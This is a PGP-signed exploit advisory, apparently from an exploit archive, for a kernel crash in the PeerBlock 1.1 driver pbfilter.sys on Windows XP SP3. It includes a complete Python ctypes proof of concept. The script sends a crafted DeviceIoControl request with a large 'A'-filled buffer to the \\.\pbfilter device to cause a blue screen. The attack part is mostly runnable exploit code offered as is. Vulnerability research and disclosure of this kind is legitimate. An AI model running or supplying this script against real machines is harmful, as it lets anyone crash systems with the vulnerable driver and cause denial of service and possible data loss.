PeerBlock 1.1 – Blue Screen of Death
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ======================================================================================================= ======================================================================================================= PeerBlock 1.1 BSOD Author: shinnai mail: shinnai[at]autistici[dot]org site: http://www.shinnai.altervista.org/ This was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. Tested on: Microsoft Windows XP Professional 5.1.2600 Service Pack 3 Build 2600 X86-based PC Info: PoC released as is, I have no time at the moment for further investigations - ----------------------------------------------------------------------- FILE INFO: (http://www.peerblock.com/) - ----------------------------------------------------------------------- File: C:\Program Files\PeerBlock\pbfilter.sys MD5 hash: 2f6e885c432927a186c2e352c8a1cbf4 ============================================================================================================================== ============================================================================================================================== Proof of concept: from ctypes import * kernel32 = windll.kernel32 Psapi = windll.Psapi if __name__ == '__main__': GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 CREATE_ALWAYS = 0x2 SYM_NAME = "\\\\.\\pbfilter" dwReturn = c_ulong() out_buff = "A" * 4000 in_buff = ("") handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None) dev_ioct = kernel32.DeviceIoControl(handle, 0xabab, in_buff,len(in_buff), out_buff, len(out_buff),byref(dwReturn), None) ============================================================================================================================== ============================================================================================================================== -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.11 (MingW32) iQIcBAEBAgAGBQJPM5D3AAoJEJfnJLqVA1kXbmwP/AhtZQ9aRnnfBLK4CmvNEorj fhacEfnsf95dcGkHB7UDPmUR/vPsOFHzXDNzKQbzV0RAOK8zPDnXWP8X2I8rEnUx a1ULw0wwo/07R2n4UvbqVDE5Pw3L2ZM9OEBvbg/SmEmPTYmFLXRkl/qwrruOp2be UJN5Bm8rjOZl9SaOEMb++cdaU1ieKJIsphNPeH7sOpkg3atBmBaJYzCL/Px66/QB CqjanfugZP6kn6fUo3rbM0LtzHOlMzP/ZCQl5EYK/G98N6YzD9wOuZV4L3foPG6a 8dJg7VpNA+umiKgqQ8iIVb0dvPJy46nn0p9bmcqbyil8S98SHaiqIx5QYyLt1jsG PVxAhWk0ec0HXAGgBv2vwKMWy85/BhI7ermaoMIHo+fUFjjgu4L3WRwv+E4mZuQD zUBn/KV6GpWas/zPD41AHWPz0P89V0IMtK5w2DKAejCBoxGyUkNbjBnBClfRmRAL wukua8ZPp5htGUQomjpjrZIu3d+EtWIG2dFKmUNByUfc3z4anY0MU8Cf+dKOduG4 reNP52yJzbcxdxrAVA/GazE5QhqR0eLIf/oq27Lm1Zma/ZRD1B6h50W5nX8zOgzd CW5S6xKQpQRytRDfqrGhYAnaHnGlGTmmhQ4rW9twiV8Ygn6Rz8SM9KmkTzM2P55t +PizKEH12PrXQX8t3GNc =Sbvp -----END PGP SIGNATURE----- |